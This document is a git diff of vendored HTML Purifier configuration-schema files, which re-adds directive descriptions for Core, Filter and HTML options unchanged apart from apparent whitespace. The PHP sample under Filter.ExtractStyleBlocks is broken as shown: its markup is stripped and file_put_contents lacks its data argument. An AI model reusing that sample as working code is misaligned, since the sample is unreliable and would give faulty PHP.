    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt index 838f10f61c..eb841a7597 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt @@ -1,16 +1,16 @@ -Core.MaintainLineNumbers -TYPE: bool/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - If true, HTML Purifier will add line number information to all tokens. - This is useful when error reporting is turned on, but can result in - significant performance degradation and should not be used when - unnecessary. This directive must be used with the DirectLex lexer, - as the DOMLex lexer does not (yet) support this functionality. - If the value is null, an appropriate value will be selected based - on other configuration. -

    ---# vim: et sw=4 sts=4 +Core.MaintainLineNumbers +TYPE: bool/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + If true, HTML Purifier will add line number information to all tokens. + This is useful when error reporting is turned on, but can result in + significant performance degradation and should not be used when + unnecessary. This directive must be used with the DirectLex lexer, + as the DOMLex lexer does not (yet) support this functionality. + If the value is null, an appropriate value will be selected based + on other configuration. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt index 94a88600de..d77f5360d7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt @@ -1,11 +1,11 @@ -Core.NormalizeNewlines -TYPE: bool -VERSION: 4.2.0 -DEFAULT: true ---DESCRIPTION-- -

    - Whether or not to normalize newlines to the operating - system default. When false, HTML Purifier - will attempt to preserve mixed newline files. -

    ---# vim: et sw=4 sts=4 +Core.NormalizeNewlines +TYPE: bool +VERSION: 4.2.0 +DEFAULT: true +--DESCRIPTION-- +

    + Whether or not to normalize newlines to the operating + system default. When false, HTML Purifier + will attempt to preserve mixed newline files. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt index 704ac56c85..4070c2a0de 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt @@ -1,12 +1,12 @@ -Core.RemoveInvalidImg -TYPE: bool -DEFAULT: true -VERSION: 1.3.0 ---DESCRIPTION-- - -

    - This directive enables pre-emptive URI checking in img - tags, as the attribute validation strategy is not authorized to - remove elements from the document. Revert to pre-1.3.0 behavior by setting to false. -

    ---# vim: et sw=4 sts=4 +Core.RemoveInvalidImg +TYPE: bool +DEFAULT: true +VERSION: 1.3.0 +--DESCRIPTION-- + +

    + This directive enables pre-emptive URI checking in img + tags, as the attribute validation strategy is not authorized to + remove elements from the document. Revert to pre-1.3.0 behavior by setting to false. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt index ed6f13425e..3397d9f71f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt @@ -1,11 +1,11 @@ -Core.RemoveProcessingInstructions -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -Instead of escaping processing instructions in the form <? ... -?>, remove it out-right. This may be useful if the HTML -you are validating contains XML processing instruction gunk, however, -it can also be user-unfriendly for people attempting to post PHP -snippets. ---# vim: et sw=4 sts=4 +Core.RemoveProcessingInstructions +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +Instead of escaping processing instructions in the form <? ... +?>, remove it out-right. This may be useful if the HTML +you are validating contains XML processing instruction gunk, however, +it can also be user-unfriendly for people attempting to post PHP +snippets. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt index efbe994c28..a4cd966df8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt @@ -1,12 +1,12 @@ -Core.RemoveScriptContents -TYPE: bool/null -DEFAULT: NULL -VERSION: 2.0.0 -DEPRECATED-VERSION: 2.1.0 -DEPRECATED-USE: Core.HiddenElements ---DESCRIPTION-- -

    - This directive enables HTML Purifier to remove not only script tags - but all of their contents. -

    ---# vim: et sw=4 sts=4 +Core.RemoveScriptContents +TYPE: bool/null +DEFAULT: NULL +VERSION: 2.0.0 +DEPRECATED-VERSION: 2.1.0 +DEPRECATED-USE: Core.HiddenElements +--DESCRIPTION-- +

    + This directive enables HTML Purifier to remove not only script tags + but all of their contents. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt index 861ae66c3a..3db50ef204 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt @@ -1,11 +1,11 @@ -Filter.Custom -TYPE: list -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -

    - This directive can be used to add custom filters; it is nearly the - equivalent of the now deprecated HTMLPurifier->addFilter() - method. Specify an array of concrete implementations. -

    ---# vim: et sw=4 sts=4 +Filter.Custom +TYPE: list +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

    + This directive can be used to add custom filters; it is nearly the + equivalent of the now deprecated HTMLPurifier->addFilter() + method. Specify an array of concrete implementations. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt index 69602635ea..16829bcda0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt @@ -1,14 +1,14 @@ -Filter.ExtractStyleBlocks.Escaping -TYPE: bool -VERSION: 3.0.0 -DEFAULT: true -ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping ---DESCRIPTION-- - -

    - Whether or not to escape the dangerous characters <, > and & - as \3C, \3E and \26, respectively. This is can be safely set to false - if the contents of StyleBlocks will be placed in an external stylesheet, - where there is no risk of it being interpreted as HTML. -

    ---# vim: et sw=4 sts=4 +Filter.ExtractStyleBlocks.Escaping +TYPE: bool +VERSION: 3.0.0 +DEFAULT: true +ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping +--DESCRIPTION-- + +

    + Whether or not to escape the dangerous characters <, > and & + as \3C, \3E and \26, respectively. This is can be safely set to false + if the contents of StyleBlocks will be placed in an external stylesheet, + where there is no risk of it being interpreted as HTML. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt index baa81ae062..7f95f54d12 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt @@ -1,29 +1,29 @@ -Filter.ExtractStyleBlocks.Scope -TYPE: string/null -VERSION: 3.0.0 -DEFAULT: NULL -ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope ---DESCRIPTION-- - -

    - If you would like users to be able to define external stylesheets, but - only allow them to specify CSS declarations for a specific node and - prevent them from fiddling with other elements, use this directive. - It accepts any valid CSS selector, and will prepend this to any - CSS declaration extracted from the document. For example, if this - directive is set to #user-content and a user uses the - selector a:hover, the final selector will be - #user-content a:hover. -

    -

    - The comma shorthand may be used; consider the above example, with - #user-content, #user-content2, the final selector will - be #user-content a:hover, #user-content2 a:hover. -

    -

    - Warning: It is possible for users to bypass this measure - using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML - Purifier, and I am working to get it fixed. Until then, HTML Purifier - performs a basic check to prevent this. -

    ---# vim: et sw=4 sts=4 +Filter.ExtractStyleBlocks.Scope +TYPE: string/null +VERSION: 3.0.0 +DEFAULT: NULL +ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope +--DESCRIPTION-- + +

    + If you would like users to be able to define external stylesheets, but + only allow them to specify CSS declarations for a specific node and + prevent them from fiddling with other elements, use this directive. + It accepts any valid CSS selector, and will prepend this to any + CSS declaration extracted from the document. For example, if this + directive is set to #user-content and a user uses the + selector a:hover, the final selector will be + #user-content a:hover. +

    +

    + The comma shorthand may be used; consider the above example, with + #user-content, #user-content2, the final selector will + be #user-content a:hover, #user-content2 a:hover. +

    +

    + Warning: It is possible for users to bypass this measure + using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML + Purifier, and I am working to get it fixed. Until then, HTML Purifier + performs a basic check to prevent this. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt index 3b7018917e..6c231b2d7f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt @@ -1,16 +1,16 @@ -Filter.ExtractStyleBlocks.TidyImpl -TYPE: mixed/null -VERSION: 3.1.0 -DEFAULT: NULL -ALIASES: FilterParam.ExtractStyleBlocksTidyImpl ---DESCRIPTION-- -

    - If left NULL, HTML Purifier will attempt to instantiate a csstidy - class to use for internal cleaning. This will usually be good enough. -

    -

    - However, for trusted user input, you can set this to false to - disable cleaning. In addition, you can supply your own concrete implementation - of Tidy's interface to use, although I don't know why you'd want to do that. -

    ---# vim: et sw=4 sts=4 +Filter.ExtractStyleBlocks.TidyImpl +TYPE: mixed/null +VERSION: 3.1.0 +DEFAULT: NULL +ALIASES: FilterParam.ExtractStyleBlocksTidyImpl +--DESCRIPTION-- +

    + If left NULL, HTML Purifier will attempt to instantiate a csstidy + class to use for internal cleaning. This will usually be good enough. +

    +

    + However, for trusted user input, you can set this to false to + disable cleaning. In addition, you can supply your own concrete implementation + of Tidy's interface to use, although I don't know why you'd want to do that. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt index be0177d4e0..078d087417 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt @@ -1,74 +1,74 @@ -Filter.ExtractStyleBlocks -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false -EXTERNAL: CSSTidy ---DESCRIPTION-- -

    - This directive turns on the style block extraction filter, which removes - style blocks from input HTML, cleans them up with CSSTidy, - and places them in the StyleBlocks context variable, for further - use by you, usually to be placed in an external stylesheet, or a - style block in the head of your document. -

    -

    - Sample usage: -

    -
    ';
    -?>
    -
    -
    -
    -  Filter.ExtractStyleBlocks
    -body {color:#F00;} Some text';
    -
    -    $config = HTMLPurifier_Config::createDefault();
    -    $config->set('Filter', 'ExtractStyleBlocks', true);
    -    $purifier = new HTMLPurifier($config);
    -
    -    $html = $purifier->purify($dirty);
    -
    -    // This implementation writes the stylesheets to the styles/ directory.
    -    // You can also echo the styles inside the document, but it's a bit
    -    // more difficult to make sure they get interpreted properly by
    -    // browsers; try the usual CSS armoring techniques.
    -    $styles = $purifier->context->get('StyleBlocks');
    -    $dir = 'styles/';
    -    if (!is_dir($dir)) mkdir($dir);
    -    $hash = sha1($_GET['html']);
    -    foreach ($styles as $i => $style) {
    -        file_put_contents($name = $dir . $hash . "_$i");
    -        echo '';
    -    }
    -?>
    -
    -
    -  
    - -
    - - -]]>
    -

    - Warning: It is possible for a user to mount an - imagecrash attack using this CSS. Counter-measures are difficult; - it is not simply enough to limit the range of CSS lengths (using - relative lengths with many nesting levels allows for large values - to be attained without actually specifying them in the stylesheet), - and the flexible nature of selectors makes it difficult to selectively - disable lengths on image tags (HTML Purifier, however, does disable - CSS width and height in inline styling). There are probably two effective - counter measures: an explicit width and height set to auto in all - images in your document (unlikely) or the disabling of width and - height (somewhat reasonable). Whether or not these measures should be - used is left to the reader. -

    ---# vim: et sw=4 sts=4 +Filter.ExtractStyleBlocks +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +EXTERNAL: CSSTidy +--DESCRIPTION-- +

    + This directive turns on the style block extraction filter, which removes + style blocks from input HTML, cleans them up with CSSTidy, + and places them in the StyleBlocks context variable, for further + use by you, usually to be placed in an external stylesheet, or a + style block in the head of your document. +

    +

    + Sample usage: +

    +
    ';
    +?>
    +
    +
    +
    +  Filter.ExtractStyleBlocks
    +body {color:#F00;} Some text';
    +
    +    $config = HTMLPurifier_Config::createDefault();
    +    $config->set('Filter', 'ExtractStyleBlocks', true);
    +    $purifier = new HTMLPurifier($config);
    +
    +    $html = $purifier->purify($dirty);
    +
    +    // This implementation writes the stylesheets to the styles/ directory.
    +    // You can also echo the styles inside the document, but it's a bit
    +    // more difficult to make sure they get interpreted properly by
    +    // browsers; try the usual CSS armoring techniques.
    +    $styles = $purifier->context->get('StyleBlocks');
    +    $dir = 'styles/';
    +    if (!is_dir($dir)) mkdir($dir);
    +    $hash = sha1($_GET['html']);
    +    foreach ($styles as $i => $style) {
    +        file_put_contents($name = $dir . $hash . "_$i");
    +        echo '';
    +    }
    +?>
    +
    +
    +  
    + +
    + + +]]>
    +

    + Warning: It is possible for a user to mount an + imagecrash attack using this CSS. Counter-measures are difficult; + it is not simply enough to limit the range of CSS lengths (using + relative lengths with many nesting levels allows for large values + to be attained without actually specifying them in the stylesheet), + and the flexible nature of selectors makes it difficult to selectively + disable lengths on image tags (HTML Purifier, however, does disable + CSS width and height in inline styling). There are probably two effective + counter measures: an explicit width and height set to auto in all + images in your document (unlikely) or the disabling of width and + height (somewhat reasonable). Whether or not these measures should be + used is left to the reader. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt index 8822186685..321eaa2d80 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt @@ -1,16 +1,16 @@ -Filter.YouTube -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false ---DESCRIPTION-- -

    - Warning: Deprecated in favor of %HTML.SafeObject and - %Output.FlashCompat (turn both on to allow YouTube videos and other - Flash content). -

    -

    - This directive enables YouTube video embedding in HTML Purifier. Check - this document - on embedding videos for more information on what this filter does. -

    ---# vim: et sw=4 sts=4 +Filter.YouTube +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- +

    + Warning: Deprecated in favor of %HTML.SafeObject and + %Output.FlashCompat (turn both on to allow YouTube videos and other + Flash content). +

    +

    + This directive enables YouTube video embedding in HTML Purifier. Check + this document + on embedding videos for more information on what this filter does. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt index afd48a0d47..0b2c106da5 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt @@ -1,25 +1,25 @@ -HTML.Allowed -TYPE: itext/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - This is a preferred convenience directive that combines - %HTML.AllowedElements and %HTML.AllowedAttributes. - Specify elements and attributes that are allowed using: - element1[attr1|attr2],element2.... For example, - if you would like to only allow paragraphs and links, specify - a[href],p. You can specify attributes that apply - to all elements using an asterisk, e.g. *[lang]. - You can also use newlines instead of commas to separate elements. -

    -

    - Warning: - All of the constraints on the component directives are still enforced. - The syntax is a subset of TinyMCE's valid_elements - whitelist: directly copy-pasting it here will probably result in - broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes - are set, this directive has no effect. -

    ---# vim: et sw=4 sts=4 +HTML.Allowed +TYPE: itext/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + This is a preferred convenience directive that combines + %HTML.AllowedElements and %HTML.AllowedAttributes. + Specify elements and attributes that are allowed using: + element1[attr1|attr2],element2.... For example, + if you would like to only allow paragraphs and links, specify + a[href],p. You can specify attributes that apply + to all elements using an asterisk, e.g. *[lang]. + You can also use newlines instead of commas to separate elements. +

    +

    + Warning: + All of the constraints on the component directives are still enforced. + The syntax is a subset of TinyMCE's valid_elements + whitelist: directly copy-pasting it here will probably result in + broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes + are set, this directive has no effect. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt index 0e6ec54f33..fcf093f17d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt @@ -1,19 +1,19 @@ -HTML.AllowedAttributes -TYPE: lookup/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - If HTML Purifier's attribute set is unsatisfactory, overload it! - The syntax is "tag.attr" or "*.attr" for the global attributes - (style, id, class, dir, lang, xml:lang). -

    -

    - Warning: If another directive conflicts with the - elements here, that directive will win and override. For - example, %HTML.EnableAttrID will take precedence over *.id in this - directive. You must set that directive to true before you can use - IDs at all. -

    ---# vim: et sw=4 sts=4 +HTML.AllowedAttributes +TYPE: lookup/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + If HTML Purifier's attribute set is unsatisfactory, overload it! + The syntax is "tag.attr" or "*.attr" for the global attributes + (style, id, class, dir, lang, xml:lang). +

    +

    + Warning: If another directive conflicts with the + elements here, that directive will win and override. For + example, %HTML.EnableAttrID will take precedence over *.id in this + directive. You must set that directive to true before you can use + IDs at all. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt index 8440bc39df..140e21423e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt @@ -1,10 +1,10 @@ -HTML.AllowedComments -TYPE: lookup -VERSION: 4.4.0 -DEFAULT: array() ---DESCRIPTION-- -A whitelist which indicates what explicit comment bodies should be -allowed, modulo leading and trailing whitespace. See also %HTML.AllowedCommentsRegexp -(these directives are union'ed together, so a comment is considered -valid if any directive deems it valid.) ---# vim: et sw=4 sts=4 +HTML.AllowedComments +TYPE: lookup +VERSION: 4.4.0 +DEFAULT: array() +--DESCRIPTION-- +A whitelist which indicates what explicit comment bodies should be +allowed, modulo leading and trailing whitespace. See also %HTML.AllowedCommentsRegexp +(these directives are union'ed together, so a comment is considered +valid if any directive deems it valid.) +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt index b1e65beb16..f22e977d43 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt @@ -1,15 +1,15 @@ -HTML.AllowedCommentsRegexp -TYPE: string/null -VERSION: 4.4.0 -DEFAULT: NULL ---DESCRIPTION-- -A regexp, which if it matches the body of a comment, indicates that -it should be allowed. Trailing and leading spaces are removed prior -to running this regular expression. -Warning: Make sure you specify -correct anchor metacharacters ^regex$, otherwise you may accept -comments that you did not mean to! In particular, the regex /foo|bar/ -is probably not sufficiently strict, since it also allows foobar. -See also %HTML.AllowedComments (these directives are union'ed together, -so a comment is considered valid if any directive deems it valid.) ---# vim: et sw=4 sts=4 +HTML.AllowedCommentsRegexp +TYPE: string/null +VERSION: 4.4.0 +DEFAULT: NULL +--DESCRIPTION-- +A regexp, which if it matches the body of a comment, indicates that +it should be allowed. Trailing and leading spaces are removed prior +to running this regular expression. +Warning: Make sure you specify +correct anchor metacharacters ^regex$, otherwise you may accept +comments that you did not mean to! In particular, the regex /foo|bar/ +is probably not sufficiently strict, since it also allows foobar. +See also %HTML.AllowedComments (these directives are union'ed together, +so a comment is considered valid if any directive deems it valid.) +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt index ca3c13ddbf..1d3fa7907d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt @@ -1,23 +1,23 @@ -HTML.AllowedElements -TYPE: lookup/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- -

    - If HTML Purifier's tag set is unsatisfactory for your needs, you can - overload it with your own list of tags to allow. If you change - this, you probably also want to change %HTML.AllowedAttributes; see - also %HTML.Allowed which lets you set allowed elements and - attributes at the same time. -

    -

    - If you attempt to allow an element that HTML Purifier does not know - about, HTML Purifier will raise an error. You will need to manually - tell HTML Purifier about this element by using the - advanced customization features. -

    -

    - Warning: If another directive conflicts with the - elements here, that directive will win and override. -

    ---# vim: et sw=4 sts=4 +HTML.AllowedElements +TYPE: lookup/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- +

    + If HTML Purifier's tag set is unsatisfactory for your needs, you can + overload it with your own list of tags to allow. If you change + this, you probably also want to change %HTML.AllowedAttributes; see + also %HTML.Allowed which lets you set allowed elements and + attributes at the same time. +

    +

    + If you attempt to allow an element that HTML Purifier does not know + about, HTML Purifier will raise an error. You will need to manually + tell HTML Purifier about this element by using the + advanced customization features. +

    +

    + Warning: If another directive conflicts with the + elements here, that directive will win and override. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt index e373791a58..5a59a55c08 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt @@ -1,20 +1,20 @@ -HTML.AllowedModules -TYPE: lookup/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - A doctype comes with a set of usual modules to use. Without having - to mucking about with the doctypes, you can quickly activate or - disable these modules by specifying which modules you wish to allow - with this directive. This is most useful for unit testing specific - modules, although end users may find it useful for their own ends. -

    -

    - If you specify a module that does not exist, the manager will silently - fail to use it, so be careful! User-defined modules are not affected - by this directive. Modules defined in %HTML.CoreModules are not - affected by this directive. -

    ---# vim: et sw=4 sts=4 +HTML.AllowedModules +TYPE: lookup/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + A doctype comes with a set of usual modules to use. Without having + to mucking about with the doctypes, you can quickly activate or + disable these modules by specifying which modules you wish to allow + with this directive. This is most useful for unit testing specific + modules, although end users may find it useful for their own ends. +

    +

    + If you specify a module that does not exist, the manager will silently + fail to use it, so be careful! User-defined modules are not affected + by this directive. Modules defined in %HTML.CoreModules are not + affected by this directive. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt index 75d680ee1e..151fb7b826 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt @@ -1,11 +1,11 @@ -HTML.Attr.Name.UseCDATA -TYPE: bool -DEFAULT: false -VERSION: 4.0.0 ---DESCRIPTION-- -The W3C specification DTD defines the name attribute to be CDATA, not ID, due -to limitations of DTD. In certain documents, this relaxed behavior is desired, -whether it is to specify duplicate names, or to specify names that would be -illegal IDs (for example, names that begin with a digit.) Set this configuration -directive to true to use the relaxed parsing rules. ---# vim: et sw=4 sts=4 +HTML.Attr.Name.UseCDATA +TYPE: bool +DEFAULT: false +VERSION: 4.0.0 +--DESCRIPTION-- +The W3C specification DTD defines the name attribute to be CDATA, not ID, due +to limitations of DTD. In certain documents, this relaxed behavior is desired, +whether it is to specify duplicate names, or to specify names that would be +illegal IDs (for example, names that begin with a digit.) Set this configuration +directive to true to use the relaxed parsing rules. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt index f32b802c6d..45ae469ec9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt @@ -1,18 +1,18 @@ -HTML.BlockWrapper -TYPE: string -VERSION: 1.3.0 -DEFAULT: 'p' ---DESCRIPTION-- - -

    - String name of element to wrap inline elements that are inside a block - context. This only occurs in the children of blockquote in strict mode. -

    -

    - Example: by default value, - <blockquote>Foo</blockquote> would become - <blockquote><p>Foo</p></blockquote>. - The <p> tags can be replaced with whatever you desire, - as long as it is a block level element. -

    ---# vim: et sw=4 sts=4 +HTML.BlockWrapper +TYPE: string +VERSION: 1.3.0 +DEFAULT: 'p' +--DESCRIPTION-- + +

    + String name of element to wrap inline elements that are inside a block + context. This only occurs in the children of blockquote in strict mode. +

    +

    + Example: by default value, + <blockquote>Foo</blockquote> would become + <blockquote><p>Foo</p></blockquote>. + The <p> tags can be replaced with whatever you desire, + as long as it is a block level element. +

